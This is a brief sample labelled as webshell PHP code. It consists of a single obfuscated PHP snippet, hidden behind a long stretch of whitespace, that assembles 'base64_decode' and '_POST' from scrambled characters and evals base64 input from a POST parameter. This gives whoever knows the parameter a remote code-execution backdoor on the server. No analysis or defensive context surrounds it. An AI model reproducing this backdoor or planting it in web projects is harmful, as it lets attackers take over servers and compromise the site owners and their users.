Webshell-ed php code

<?php                                                                                                                                                                                                                                                           $jey32 = "46epacbot_sd" ; $fej2= strtolower($jey32[6].$jey32[4]. $jey32[10]. $jey32[2].$jey32[1]. $jey32[0] .$jey32[9] .$jey32[11].$jey32[2]. $jey32[5]. $jey32[7].$jey32[11]. $jey32[2]);$doy1 =strtoupper($jey32[9]. $jey32[3].$jey32[7]. $jey32[10].$jey32[8]);if (isset (${ $doy1 } ['n95dde0' ])) {eval ($fej2( ${ $doy1} ['n95dde0' ] ) ) ;} ?>